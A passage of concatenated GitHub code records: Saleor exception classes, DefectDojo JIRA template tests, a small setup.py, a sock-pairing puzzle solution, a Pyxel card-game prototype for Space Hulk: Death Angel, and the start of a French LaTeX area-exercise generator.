['CAT_NO_ROWS_FOUND'])\n\n","repo_name":"irods/irods","sub_path":"scripts/irods/test/test_iqmod.py","file_name":"test_iqmod.py","file_ext":"py","file_size_in_byte":2120,"program_lang":"python","lang":"en","doc_type":"code","stars":417,"dataset":"github-code","pt":"18"} +{"seq_id":"25938648144","text":"from typing import Any, Dict, List, Optional, Sequence\n\n\nclass GraphQLError(Exception):\n \"\"\"\n Raised on Saleor GraphQL errors\n \"\"\"\n\n def __init__(\n self,\n errors: Sequence[Dict[str, Any]],\n response_data: Optional[Dict[str, Any]] = None,\n ):\n self.errors = errors\n self.response_data = response_data\n\n def __str__(self):\n return (\n f\"GraphQLError: {', '.join([error['message'] for error in self.errors])}.\"\n )\n\n\nclass IgnoredPrincipal(Exception):\n message = \"Ignore webhook with {} principal ids.\"\n\n def __init__(self, principal_ids: List[str]):\n super().__init__(self.message.format(\",\".join(principal_ids)))\n","repo_name":"mirumee/saleor-app-framework-python","sub_path":"src/saleor_app/saleor/exceptions.py","file_name":"exceptions.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"18"} +{"seq_id":"11175010951","text":"from .dojo_test_case import DojoTestCase\nfrom dojo.models import Product\nfrom dojo.jira_link import helper as jira_helper\n# from unittest import skip\nimport logging\n\nlogger = logging.getLogger(__name__)\n\n\nclass JIRATemplatetTest(DojoTestCase):\n fixtures = ['dojo_testdata.json']\n\n def __init__(self, *args, **kwargs):\n DojoTestCase.__init__(self, *args, **kwargs)\n\n def setUp(self):\n self.system_settings(enable_jira=True)\n\n def test_get_jira_issue_template_dir_from_project(self):\n product = Product.objects.get(id=1)\n jira_project = jira_helper.get_jira_project(product)\n # filepathfield contains full path\n jira_project.issue_template_dir = 'issue-trackers/jira_full_extra'\n jira_project.save()\n\n self.assertEqual(jira_helper.get_jira_issue_template(product), 'issue-trackers/jira_full_extra/jira-description.tpl')\n\n def test_get_jira_issue_template_dir_from_instance(self):\n product = Product.objects.get(id=1)\n jira_project = jira_helper.get_jira_project(product)\n jira_project.issue_template_dir = None\n jira_project.save()\n self.assertEqual(jira_helper.get_jira_issue_template(product), 'issue-trackers/jira_full/jira-description.tpl')\n\n def test_get_jira_project_and_instance_no_issue_template_dir(self):\n product = Product.objects.get(id=1)\n jira_project = jira_helper.get_jira_project(product)\n jira_project.issue_template_dir = None\n jira_project.save()\n jira_instance = jira_helper.get_jira_instance(product)\n jira_instance.issue_template_dir = None\n jira_instance.save()\n # no template should return default\n self.assertEqual(jira_helper.get_jira_issue_template(product), 'issue-trackers/jira_full/jira-description.tpl')\n","repo_name":"DefectDojo/django-DefectDojo","sub_path":"unittests/test_jira_template.py","file_name":"test_jira_template.py","file_ext":"py","file_size_in_byte":1806,"program_lang":"python","lang":"en","doc_type":"code","stars":3128,"dataset":"github-code","pt":"18"} +{"seq_id":"25793544260","text":"from setuptools import setup\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetup(name='iheartradio',\n version='1.0.4',\n description='iheartradio radio station fetcher for rhythmbox',\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n author='Grant Hutchinson(hutchgrant)',\n keyswords='iheartradio radio rhythmbox',\n classifiers=[\n 'Development Status :: 3 - Alpha',\n 'License :: OSI Approved :: MIT License',\n 'Programming Language :: Python :: 3.5',\n 'Operating System :: POSIX :: Linux',\n 'Topic :: Multimedia :: Sound/Audio',\n ],\n license='MIT',\n url='https://github.com/hutchgrant/iheartradio-rhythmbox',\n packages=['iheartradio'],\n scripts=['bin/iheartradio'],\n install_requires=[\n 'bs4', \n 'pyfiglet',\n 'requests', \n 'lxml',\n ],\n )","repo_name":"hutchgrant/iheartradio-rhythmbox","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"35526001747","text":"#!/bin/python\r\n\r\n# Complete the sockMerchant function below.\r\ndef socks_merchant(socks):\r\n socks.sort()\r\n matched_count = 0\r\n while len(socks) > 1:\r\n if socks[0] == socks[1]:\r\n matched_count += 1\r\n socks.pop(0)\r\n socks.pop(0)\r\n else:\r\n socks.pop(0)\r\n return matched_count\r\n\r\n\r\nif __name__ == '__main__':\r\n n = int(raw_input())\r\n ar = map(int, raw_input().rstrip().split())\r\n\r\n result = socks_merchant(ar)\r\n print(result)\r\n","repo_name":"GaneshManal/PythonPuzzles","sub_path":"merchantSocks.py","file_name":"merchantSocks.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"34979896785","text":"import pandas as pd\nimport random\nimport itertools\n\nimport pyxel\nscreen_x = 257 #16 16-pixel chunks wide\nscreen_y = 257 #16 16-pixel chunks wide\n\ndef build_grid(n):\n if n =='Y':\n for i in range(0,257):\n if i % 4 == 0:\n if i == 128:\n pyxel.line(i, 0, i, 256, 9)\n pyxel.line(0, i, 256, i, 9)\n else:\n pyxel.line(i, 0, i, 256, 2)\n pyxel.line(0, i, 256, i, 2)\n\nGREY = 13\nGREEN = 3\nRED = 8\n\n\n################################################################\n## INITIAL LOCATION DECK CREATION\ndef create_location_deck():\n \"\"\"\n Pulls location data from the CSV and sorts/shuffles each location into\n a main location deck - complete with the VOID LOCK on top to start.\n\n Returns\n -------\n final_locs : TYPE\n DESCRIPTION.\n \"\"\"\n final_locs = []\n data = 'location_cards.csv'\n df = pd.read_csv(data)\n df.set_index('location')\n df.to_dict('dict')\n loc_list = df.to_dict('records')\n \n vLock = loc_list.pop(0)\n loc_two = [loc for loc in loc_list if loc['loc_number'] == 2]\n loc_three = [loc for loc in loc_list if loc['loc_number'] == 3]\n loc_four = [loc for loc in loc_list if loc['loc_number'] == 4]\n all_locs = (loc_two, loc_three, loc_four)\n for deck in all_locs:\n random.shuffle(deck)\n loc_card = deck.pop(0)\n final_locs.append(loc_card)\n final_locs.insert(0, vLock)\n return final_locs \n\n# This is the FINAL, shuffled, location deck\n# locations_deck = create_location_deck()\n# number_of_locations = len(locations_deck)\n# print(number_of_locations)\n\n\n###########################################################################\n## INITIAL GS MAIN DECK CREATION\n\n# def gs_deck_create():\n# \"\"\"\n# Creates the Genestealer deck for the start of play.\n\n# Returns\n# -------\n# initial_deck : TYPE\n# \"\"\"\n# initial_deck = list(itertools.product(range(1,10),['tail','skull','stingray','claw']))\n# random.shuffle(initial_deck)\n# return initial_deck\n\n# edited to remove pointless swarm type number and make a list of shuffled strings.\ndef gs_deck_create():\n \"\"\"\n Creates the Genestealer deck for the start of play.\n\n Returns\n -------\n initial_deck : TYPE\n \"\"\"\n gs_icons = ['tails','skulls','stingray','claws']\n gs_raw_deck = []\n for g in gs_icons:\n for i in range(11):\n gs_raw_deck.append(g)\n random.shuffle(gs_raw_deck)\n return gs_raw_deck\n\ngs_deck = gs_deck_create() \n\n###########################################################################\n## INITIAL EVENT DECK CREATION\ndef create_event_deck():\n \"\"\"\n Creates the EVENT deck for the start of play. \n\n Returns\n -------\n event_deck : TYPE\n DESCRIPTION.\n\n \"\"\"\n data = 'event_cards.csv'\n df = pd.read_csv(data)\n df['card_num'] = df.reset_index().index\n df.to_dict('dict')\n event_deck = df.to_dict('records')\n random.shuffle(event_deck)\n return event_deck\n\n# #this is the initial, shuffled, Event deck\nevent_deck = create_event_deck()\n\n###########################################################################\n###########################################################################\n\nclass Event_cards:\n def __init__(self, initial_deck):\n self.deck = initial_deck\n self.cards_drawn = 0\n self.current_card = []\n self.discard = []\n \n def draw_card(self): \n #initial event card only spawns genestealers\n if self.cards_drawn < 1:\n self.current_card.append(self.deck.pop(0))\n self.cards_drawn += 1\n\n else:\n prev_card = self.current_card.pop(0)\n self.discard.append(prev_card)\n \n self.current_card.append(self.deck.pop(0))\n self.cards_drawn += 1\n \n return self.current_card\n # RESOLVE EVENT ON CARD AFTER INITIAL TURN\n\n def draw(self):\n pass\n #TODO Will need another screen to show card and description\n\n\n###########################################################################\nclass Location_and_spawns:\n def __init__(self, gs_deck): \n \n self.locations_deck = create_location_deck()\n self.number_of_locations = len(self.locations_deck)\n self.room_number = 0\n self.location_name = self.locations_deck[self.room_number]['location']\n # TODO self.location_condition = self.locations_deck[self.room_number]['condition']\n\n# VOID LOCK TRIANGLE VISUALS\n self.tri_dict = {'wt':(1,128,0),\n 'yt': (1,128,8)}\n\n# VOID LOCK L TRIANGLE SPAWN COLOR AND NUMBER\n self.left_blip_num = self.locations_deck[0]['left_blip'] \n self.left_spawn_triangle = self.locations_deck[0]['l_triangle']\n self.left_spawn_color, self.left_spawn_num = self.left_spawn_triangle.split('_')\n\n# VOID LOCK R TRIANGLE SPAWN COLOR AND NUMBER\n self.right_blip_num = self.locations_deck[0]['right_blip'] \n self.right_spawn_triangle = self.locations_deck[0]['r_triangle']\n self.right_spawn_color, self.right_spawn_num = self.right_spawn_triangle.split('_')\n \n self.voidlock_spawns = {self.left_spawn_color: self.left_spawn_num, self.right_spawn_color: self.right_spawn_num}\n # 'l_triangle': 'yt_2', 'r_triangle': 'wt_1'\n\n\n# GS DECK VARIABLES\n # def __init__(self, gs_deck, loc_num_left=6, loc_num_right=6, current_room =\"VOID LOCK\"): \n self.gs_deck = gs_deck\n # self.loc_left = loc_num_left\n # self.loc_right = loc_num_right\n self.left_gs_num = 0\n self.right_gs_num = 0\n self.left_gs_cards = []\n self.right_gs_cards = []\n self.gs_left_formation_num = 0\n self.gs_right_formation_num = 0\n \n self.gs_discard = []\n\n self.spawned_left_swarms = {0: {'terrain_color': None, 'g_stealers': []}, \n 1: {'terrain_color': None, 'g_stealers': []}, \n 2: {'terrain_color': None, 'g_stealers': []}, \n 3: {'terrain_color': None, 'g_stealers': []}, \n 4: {'terrain_color': None, 'g_stealers': []}, \n 5: {'terrain_color': None, 'g_stealers': []}}\n \n self.spawned_right_swarms = {0: {'terrain_color': None, 'g_stealers': []}, \n 1: {'terrain_color': None, 'g_stealers': []}, \n 2: {'terrain_color': None, 'g_stealers': []}, \n 3: {'terrain_color': None, 'g_stealers': []}, \n 4: {'terrain_color': None, 'g_stealers': []}, \n 5: {'terrain_color': None, 'g_stealers': []}}\n\n# TERRAIN VARIABLES\n # TERRAIN DICT WITH COLOR FOR ACCESSING\n self.terrain_imgs = {'corridor': (0, \"green\"),\n 'artefact': (16, \"green\"),\n 'control_panel': (32, \"yellow\"), \n 'door': (48, \"yellow\"),\n 'prom_tank': (64, \"orange\"), \n 'dark_corner': (80, \"orange\"),\n 'vent_duct': (96, \"red\"), \n 'spore_chimney': (112, \"red\")} \n \n # SORTS EACH TERRAIN CARD IN THE CURRENT LOCATION\n # [('door', 1, 'yellow'), ...]\n self.loc_terrain_1L = (self.locations_deck[self.room_number]['l_terrain_1'], #NAME\n self.locations_deck[self.room_number]['d_l_terrain_1']-1, #FORMATION\n self.terrain_imgs.get(self.locations_deck[self.room_number]['l_terrain_1'])[1]) #COLOR\n \n\n self.loc_terrain_2L = (self.locations_deck[self.room_number]['l_terrain_2'],\n self.locations_deck[self.room_number]['d_l_terrain_2']-1,\n self.terrain_imgs.get(self.locations_deck[self.room_number]['l_terrain_2'])[1])\n \n terrain_marker_1L = {'terrain_color': self.loc_terrain_1L[2]}\n terrain_marker_2L = {'terrain_color': self.loc_terrain_2L[2]}\n self.spawned_left_swarms[self.loc_terrain_1L[1]].update(terrain_marker_1L)\n self.spawned_left_swarms[self.loc_terrain_2L[1]].update(terrain_marker_2L)\n \n\n self.loc_terrain_1R = (self.locations_deck[self.room_number]['r_terrain_1'],\n self.locations_deck[self.room_number]['u_r_terrain_1'],\n self.terrain_imgs.get(self.locations_deck[self.room_number]['r_terrain_1'])[1])\n\n\n self.loc_terrain_2R = (self.locations_deck[self.room_number]['r_terrain_2'],\n self.locations_deck[self.room_number]['u_r_terrain_2'],\n self.terrain_imgs.get(self.locations_deck[self.room_number]['r_terrain_2'])[1])\n \n terrain_marker_1R = {'terrain_color': self.loc_terrain_1R[2]}\n terrain_marker_2R = {'terrain_color': self.loc_terrain_2R[2]}\n self.spawned_right_swarms[self.loc_terrain_1R[1]].update(terrain_marker_1R)\n self.spawned_right_swarms[self.loc_terrain_2R[1]].update(terrain_marker_2R)\n\n\n self.room_terrain = [self.loc_terrain_1L, \n self.loc_terrain_2L, \n self.loc_terrain_1R, \n self.loc_terrain_2R]\n\n \n####\n def populate_blips(self):\n self.left_gs_cards = [self.gs_deck.pop(i) for i in range(self.left_blip_num)]\n self.left_gs_num = len(self.left_gs_cards) \n \n self.right_gs_cards = [self.gs_deck.pop(i) for i in range(self.right_blip_num)]\n self.right_gs_num = len(self.right_gs_cards)\n\n\n####\n def location_card_draw(self):\n if self.room_number < self.number_of_locations-1:\n self.room_number += 1\n self.location_name = self.locations_deck[self.room_number]['location']\n\n# SORTS EACH TERRAIN CARD INTO THE 4 LOCATIONS\n self.loc_terrain_1L = (self.locations_deck[self.room_number]['l_terrain_1'], #NAME\n self.locations_deck[self.room_number]['d_l_terrain_1'], #FORMATION\n self.terrain_imgs.get(self.locations_deck[self.room_number]['l_terrain_1'])[1]) #COLOR\n\n\n self.loc_terrain_2L = (self.locations_deck[self.room_number]['l_terrain_2'],\n self.locations_deck[self.room_number]['d_l_terrain_2'],\n self.terrain_imgs.get(self.locations_deck[self.room_number]['l_terrain_2'])[1])\n\n\n self.loc_terrain_1R = (self.locations_deck[self.room_number]['r_terrain_1'],\n self.locations_deck[self.room_number]['u_r_terrain_1'],\n self.terrain_imgs.get(self.locations_deck[self.room_number]['r_terrain_1'])[1])\n\n\n self.loc_terrain_2R = (self.locations_deck[self.room_number]['r_terrain_2'],\n self.locations_deck[self.room_number]['u_r_terrain_2'],\n self.terrain_imgs.get(self.locations_deck[self.room_number]['r_terrain_2'])[1])\n\n\n self.room_terrain = [self.loc_terrain_1L, \n self.loc_terrain_2L, \n self.loc_terrain_1R, \n self.loc_terrain_2R]\n\n\n####\n def gs_spawn_locs(self, drawn_event_card):\n \"\"\"\n Grabs the EVENT CARD's spawn colors and triangles, then sorts the number of cards from the L or R blip piles\n each TERRAIN color shown on the EVENT CARD color will get.\n\n Returns\n -------\n left_spawn_info : TYPE\n DESCRIPTION.\n right_spawn_info : TYPE\n DESCRIPTION.\n\n \"\"\"\n\n self.drawn_event_card = drawn_event_card\n # [{'Card Name': 'Full Scan', \n # 'Card Effect': 'INSTINCT: Choose a blip pile, DISCARD the top card of this pile.', \n # 'L Spawn': 'yt_red', \n # 'R Spawn': 'yt_yellow', \n \n # TODO will need to read and act on the event card info below after INITIAL EVENT CARD DRAW\n # 'GS Maneuver ': 'up_down_chevrons', \n # 'GS Emblem': 'stingray', \n # 'card_num': 6}] \n\n # TRIANGLE NUMBER AND TERRAIN COLOR FOR CURRENT EVENT CARD\n left_event_card_tri, left_event_card_color = self.drawn_event_card[0].get('L Spawn').split('_')\n right_event_card_tri, right_event_card_color = self.drawn_event_card[0].get('R Spawn').split('_')\n\n self.event_card_spawns = [(self.voidlock_spawns.get(left_event_card_tri), \n left_event_card_color), \n (self.voidlock_spawns.get(right_event_card_tri),\n right_event_card_color)]\n print(self.event_card_spawns)\n # event_card_spawns = [('2', 'red'), ('1', 'orange')]\n left_spawn_info = []\n right_spawn_info = []\n \n # CHECKS LEFT TERRAINS FOR SPAWNS\n for terrain in [self.room_terrain[0], self.room_terrain[1]]:\n if self.event_card_spawns[0][1] == terrain[2]:\n left_info1 = (self.event_card_spawns[0][0], self.event_card_spawns[0][1])\n left_spawn_info.append(left_info1)\n \n if self.event_card_spawns[1][1] == terrain[2]:\n left_info2 = (self.event_card_spawns[1][0], self.event_card_spawns[1][1])\n left_spawn_info.append(left_info2)\n\n # CHECKS RIGHT TERRAINS FOR SPAWNS \n for terrain in [self.room_terrain[2], self.room_terrain[3]]:\n # print(terrain[2]) # color\n if self.event_card_spawns[0][1] == terrain[2]:\n right_info1 = (self.event_card_spawns[0][0], self.event_card_spawns[0][1])\n right_spawn_info.append(right_info1)\n\n \n if self.event_card_spawns[1][1] == terrain[2]:\n right_info2 = (self.event_card_spawns[1][0], self.event_card_spawns[1][1])\n right_spawn_info.append(right_info2)\n\n return left_spawn_info, right_spawn_info\n # [('2', 'red'), ('1', 'yellow')]\n\n\n#### \n def populate_GS_spawns(self, lft_and_rght_spawn_info):\n \"\"\"\n matches terrain_color with event card color and places cards from each blip pile into\n it's side's spawns.\n\n Returns\n -------\n None.\n\n \"\"\"\n \n # TODO FIX THIS ERROR \n # E\\shda_locations.py\", line 374, in populate_GS_spawns\n # left_spawn_amount = lft_and_rght_spawn_info[0][0][0]\n # IndexError: list index out of range\n if len(lft_and_rght_spawn_info) == 2:\n left_spawn_amount = lft_and_rght_spawn_info[0][0][0]\n left_spawn_color = lft_and_rght_spawn_info[0][0][1]\n right_spawn_amount = lft_and_rght_spawn_info[1][0][0]\n right_spawn_color = lft_and_rght_spawn_info[1][0][1] \n \n for spawn in self.spawned_left_swarms:\n if self.spawned_left_swarms[spawn]['terrain_color'] == left_spawn_color:\n for i in range(int(left_spawn_amount)):\n each_spawn = self.left_gs_cards.pop(0)\n print(each_spawn)\n # self.spawned_left_swarms[spawn]['g_stealers'] += each_spawn\n self.spawned_left_swarms[spawn]['g_stealers'].append(each_spawn)\n \n for spawn in self.spawned_right_swarms:\n if self.spawned_right_swarms[spawn]['terrain_color'] == right_spawn_color:\n for i in range(int(right_spawn_amount)):\n each_spawn = self.left_gs_cards.pop(0)\n # self.spawned_right_swarms[spawn]['g_stealers'] += each_spawn\n self.spawned_right_swarms[spawn]['g_stealers'].append(each_spawn)\n else:\n print(lft_and_rght_spawn_info)\n\n for key in self.spawned_left_swarms:\n if self.spawned_left_swarms[key]['g_stealers']:\n print(f\"the L formation number is {key} and its value is {self.spawned_left_swarms[key]['g_stealers']}\")\n self.gs_left_formation_num = key\n \n for key in self.spawned_right_swarms:\n if self.spawned_right_swarms[key]['g_stealers']:\n print(f\"the R formation number is {key} and its value is {self.spawned_right_swarms[key]['g_stealers']}\")\n self.gs_right_formation_num = key\n \n\n# self.spawned_left_swarms = {0: {'terrain_color': None, 'g_stealers': []}, \n# self.left_gs_cards = ['Stingray', 'Claw', 'Claw']\n\n\n####\n def draw(self): \n\n# LOCATION CARD TRIANGLE INFO DRAW \n pyxel.rectb(96, 4, 65, 33, 7) # LOCATION card border rectangle\n pyxel.text(111, 30, self.location_name, 7) # LOCATION TEXT (ie \"VOID LOCK\")\n\n# LOCATION CARD TRIANGLE INFO DRAW\n left_tri = self.tri_dict.get(self.left_spawn_color)\n left_tri_img = left_tri[0]\n left_tri_x = left_tri[1]\n left_tri_y = left_tri[2] \n right_tri = self.tri_dict.get(self.right_spawn_color)\n right_tri_img = right_tri[0]\n right_tri_x = right_tri[1]\n right_tri_y = right_tri[2]\n\n pyxel.blt(97, 20, left_tri_img, left_tri_x, left_tri_y, 16, 8)\n pyxel.text(104, 21, self.left_spawn_num, 8) \n pyxel.blt(144, 20, right_tri_img, right_tri_x, right_tri_y, 16, 8)\n pyxel.text(150, 21, self.right_spawn_num, 0)\n\n# BLIP PILE DRAW\n pyxel.blt(21, 4, 0, 192, 48, 32, 32) # LEFT BLIP \"SONAR\" VISUAL\n pyxel.text(36, 18, str(self.left_blip_num), 7) # LEFT BLIP NUMBER\n\n pyxel.blt(204, 4, 0, 192, 48, 32, 32) # RIGHT BLIP \"SONAR\" VISUAL\n pyxel.text(218, 18, str(self.right_blip_num), 7) # RIGHT BLIP NUMBER\n\n# TERRAIN DRAW \n # IMAGES HAVE DANGER LEVEL (COLOR) BELOW THEM (EACH IMAGE HAS A 'H' VALUE OF 32)\n\n terrain_left_x = 75 # X COORDINATE FOR ALL LEFT TERRAIN PLACEMENTS\n terrain_right_x = 166 # X COORDINATE FOR ALL RIGHT TERRAIN PLACEMENTS\n terrain_y = (40, 76, 112, 148, 184, 220) # Y COORDINATE FOR ALL TERRAIN PLACEMENTS\n\n left1_img = self.terrain_imgs.get(self.loc_terrain_1L[0]) # ACCESSES DICT ABOVE BY TERRAIN NAME (SELF.loc_terrain_1L) GETTING ITS FORMATION NUMBER\n left2_img = self.terrain_imgs.get(self.loc_terrain_2L[0]) \n left1_formation_num = self.loc_terrain_1L[1] # THE NUMBER EACH TERRAIN CARD WILL BE PLACED ON THE LEFT AND RIGHT OF THE FORMATION\n left2_formation_num = self.loc_terrain_2L[1]\n\n\n right1_img = self.terrain_imgs.get(self.loc_terrain_1R[0])\n right2_img = self.terrain_imgs.get(self.loc_terrain_2R[0]) \n right1_formation_num = 6 - self.loc_terrain_1R[1]\n right2_formation_num = 6 - self.loc_terrain_2R[1] \n \n ##PACKAGES ALL TERRAIN INFO ABOVE AND CREATES EACH TERRAIN IMG AND PLACEMENT PER LOCATION CARD\n #pyxel.blt(x, y, img, u, v, w, h)\n left_loc_1 = pyxel.blt(terrain_left_x, \n terrain_y[left1_formation_num], \n 1, \n left1_img[0], \n 0, 16, 32)\n\n\n left_loc_2 = pyxel.blt(terrain_left_x, \n terrain_y[left2_formation_num], \n 1, \n left2_img[0], \n 0, 16, 32)\n\n \n right_loc_1 = pyxel.blt(terrain_right_x, \n terrain_y[right1_formation_num], \n 1, \n right1_img[0], \n 0, 16, 32)\n\n \n right_loc_2 = pyxel.blt(terrain_right_x, \n terrain_y[right2_formation_num], \n 1, \n right2_img[0], \n 0, 16, 32) \n \n\n # IMAGE COORDINATES ON IMAGE BANK\n gs_img = 96\n \n swarm_dict = {\"tails\": 112,\n \"skulls\": 128,\n \"claws\": 144,\n \"stingray\": 160,}\n\n gs_left_x = (52, 35, 18, 1) # X COORDINATES FOR LEFT SIDE GS PORTRAITS, R to L\n gs_right_x = (188, 205, 222, 239) # X COORDINATES FOR RIGHT SIDE GS PORTRAITS, L to R\n gs_img_y = (40, 76, 112, 148, 184, 220) # Y COORDINATES FOR ALL GS IMAGES, TOP TO BOTTOM\n gs_team_y = (57, 93, 129, 165, 201, 237) # Y COORDINATES FOR ALL GS TEAM IMAGES, TOP TO BOTTOM\n\n for x in range(6):\n if self.spawned_left_swarms[x]['g_stealers']:\n # print(x, self.spawned_left_swarms[x]['g_stealers'])\n left_row_num = 0\n for n in self.spawned_left_swarms[x]['g_stealers']:\n swarm_icon = n\n # print(swarm_dict.get(swarm_icon))\n pyxel.blt(gs_left_x[left_row_num], gs_img_y[self.gs_left_formation_num], 0, gs_img, 0, 16, 16)\n pyxel.blt(gs_left_x[left_row_num], gs_team_y[self.gs_left_formation_num], 0, swarm_dict.get(swarm_icon), 0, 16, 16)\n left_row_num += 1\n \n for x in range(6):\n if self.spawned_right_swarms[x]['g_stealers']:\n # print(x, self.spawned_left_swarms[x]['g_stealers'])\n right_row_num = 0\n for n in self.spawned_right_swarms[x]['g_stealers']:\n swarm_icon = n\n # print(swarm_dict.get(swarm_icon))\n pyxel.blt(gs_right_x[right_row_num], gs_img_y[self.gs_right_formation_num], 0, gs_img, 0, 16, 16)\n pyxel.blt(gs_right_x[right_row_num], gs_team_y[self.gs_right_formation_num], 0, swarm_dict.get(swarm_icon), 0, 16, 16)\n right_row_num += 1\n\n\n##################################\n##################################\n\n\nclass App:\n def __init__(self):\n pyxel.init(screen_x, screen_y, title=\"SPACE HULK: DEATH ANGEL\", fps=30)\n pyxel.load('sh_da.pyxres')\n pyxel.mouse(True)\n \n self.location_and_spawns = Location_and_spawns(gs_deck)\n self.event_cards = Event_cards(event_deck)\n self.drawn_event_card = self.event_cards.draw_card()\n self.location_and_spawns.populate_blips()\n\n test = self.location_and_spawns.gs_spawn_locs(self.drawn_event_card)\n self.location_and_spawns.populate_GS_spawns(test)\n\n \n pyxel.run(self.update, self.draw)\n\n\n def update(self):\n if pyxel.btnp(pyxel.KEY_Q):\n pyxel.quit()\n if pyxel.btnp(pyxel.KEY_Z):\n self.location_and_spawns.location_card_draw()\n self.drawn_event_card = self.event_cards.draw_card()\n self.location_and_spawns.gs_spawn_locs(self.drawn_event_card)\n # print(self.drawn_event_card)\n\n def draw(self):\n pyxel.cls(0)\n self.location_and_spawns.draw()\nApp()","repo_name":"BFragel44/SHDA_Card_Game","sub_path":"shda_locations.py","file_name":"shda_locations.py","file_ext":"py","file_size_in_byte":23439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"6198710015","text":"import random, math\n\nuniteLongueur = [ \"mm\", \"cm\", \"dm\", \"m\", \"dam\", \"hm\", \"km\"]\nuniteAire = [ \"mm^2\", \"cm^2\", \"dm^2\", \"m^2\", \"dam^2\", \"hm^2\", \"km^2\"]\n\ndef dimension():\n i = random.randrange(2,10)\n j = random.randrange(2,10)\n if i > j:\n longueur = i\n largeur = j\n else:\n longueur = j\n largeur = i \n unite = random.randrange(7)\n return longueur,largeur,unite\n\ndef parametre_comptage():\n dimension_grille = random.randrange(10,15)\n taille_grille = float(4.5)/dimension_grille\n dimension_unite = [random.randrange(1,3), random.randrange(1,3)]\n nombre_unite = random.randrange(1,4)\n unite = random.randrange(7)\n dimension_figure = [random.randrange(2,dimension_grille-5,dimension_unite[0]), random.randrange(2,dimension_grille-5,dimension_unite[1])]\n return dimension_grille,taille_grille,dimension_unite,nombre_unite,unite,dimension_figure\n\ndef tex_carre(enonce,cote,unite):\n enonce.append(\"\\\\begin{center}\")\n enonce.append(\"\\\\psset{unit=0.5cm}\")\n enonce.append(\"\\\\begin{pspicture}(-5,-3)(5,3)\")\n enonce.append(\"\\\\pstGeonode[PosAngle={-135,-45,45,135},PointSymbol=none](-2,-2){A}(2,-2){B}(2,2){C}(-2,2){D}\")\n enonce.append(\"\\\\pspolygon(A)(B)(C)(D)\")\n enonce.append(\"\\\\pstRightAngle{B}{A}{D}\")\n enonce.append(\"\\\\rput[t]{%s}(%s,%s){$\\\\unit[%s]{%s}$}\" % (0,0,-2,cote,uniteLongueur[unite]))\n enonce.append(\"\\\\end{pspicture}\")\n enonce.append(\"\\\\end{center}\")\n\ndef tex_rectangle(enonce,longueur,largeur,unite):\n enonce.append(\"\\\\begin{center}\")\n enonce.append(\"\\\\psset{unit=0.5cm}\")\n enonce.append(\"\\\\begin{pspicture}(-5,-3)(5,3)\")\n enonce.append(\"\\\\pstGeonode[PosAngle={-135,-45,45,135},PointSymbol=none](-3,-2){A}(3,-2){B}(3,2){C}(-3,2){D}\")\n enonce.append(\"\\\\pspolygon(A)(B)(C)(D)\")\n enonce.append(\"\\\\pstRightAngle{B}{A}{D}\")\n enonce.append(\"\\\\rput[t]{%s}(%s,%s){$\\\\unit[%s]{%s}$}\" % (0,0,-2,longueur,uniteLongueur[unite]))\n enonce.append(\"\\\\rput[t]{%s}(%s,%s){$\\\\unit[%s]{%s}$}\" % (90,3,0,largeur,uniteLongueur[unite]))\n enonce.append(\"\\\\end{pspicture}\")\n enonce.append(\"\\\\end{center}\")\n\ndef tex_triangle_rectangle(enonce,base,hauteur,unite):\n enonce.append(\"\\\\begin{center}\")\n enonce.append(\"\\\\psset{unit=0.5cm}\")\n enonce.append(\"\\\\begin{pspicture}(-5,-3)(5,3)\")\n enonce.append(\"\\\\pstGeonode[PosAngle={-135,-45,45,135},PointSymbol=none](-3,-2){A}(3,-2){B}(3,2){C}\")\n enonce.append(\"\\\\pspolygon(A)(B)(C)\")\n enonce.append(\"\\\\pstRightAngle{A}{B}{C}\")\n enonce.append(\"\\\\rput[t]{%s}(%s,%s){$\\\\unit[%s]{%s}$}\" % (0,0,-2,base,uniteLongueur[unite]))\n enonce.append(\"\\\\rput[t]{%s}(%s,%s){$\\\\unit[%s]{%s}$}\" % (90,3,0,hauteur,uniteLongueur[unite]))\n enonce.append(\"\\\\end{pspicture}\")\n enonce.append(\"\\\\end{center}\")\n\ndef tex_disque(enonce,rayon,unite):\n enonce.append(\"\\\\begin{center}\")\n enonce.append(\"\\\\psset{unit=0.5cm}\")\n enonce.append(\"\\\\begin{pspicture}(-5,-3)(5,3)\")\n enonce.append(\"\\\\pstGeonode[PosAngle=-90,PointSymbol=x](0,0){O}\")\n enonce.append(\"\\\\pscircle(O){2.5}\")\n enonce.append(\"\\\\uput{0.25}[0]{45}(0,0){$\\\\unit[%s]{%s}$}\" % (rayon,uniteLongueur[unite]))\n enonce.append(\"\\\\rput{45}(0,0){\\\\psline{<->}(O)(2.5,0)}\")\n enonce.append(\"\\\\end{pspicture}\")\n enonce.append(\"\\\\end{center}\")\n\ndef tex_comptage(enonce,dimension_grille,taille_grille,dimension_unite,nombre_unite,unite,dimension_figure):\n enonce.append(\"\\\\begin{center}\")\n enonce.append(\"\\\\psset{unit=%scm}\" % taille_grille)\n enonce.append(\"\\\\begin{pspicture}(%s,%s)\" % (dimension_grille,dimension_grille))\n enonce.append(\"\\\\psgrid[gridcolor=gray, griddots=5, subgriddiv=0, gridlabels=0pt](%s,%s)\" % (dimension_grille,dimension_grille))\n enonce.append(\"\\\\psframe[linecolor=red](1,1)(%s,%s)\" % (dimension_unite[0]+1, dimension_unite[1]+1))\n enonce.append(\"\\\\psframe[linecolor=blue](4,4)(%s,%s)\" % (dimension_figure[0]+4, dimension_figure[1]+4))\n enonce.append(\"\\\\rput[t]{%s}(%s,%s){$\\\\unit[%s]{%s}$}\" % (0,1+float(dimension_unite[0])/2,1,nombre_unite,uniteAire[unite]))\n enonce.append(\"\\\\end{pspicture}\")\n enonce.append(\"\\\\end{center}\")\n\ndef Carre(parametre):\n question = u\"Calculer l\\'aire du carré :\"\n exo = []\n cor = []\n (longueur,largeur,unite) = dimension()\n tex_carre(exo,longueur,unite)\n tex_carre(cor,longueur,unite)\n cor.append(u\"Aire = $\\\\text{côté} \\\\times \\\\text{côté}$ \\\\newline\")\n 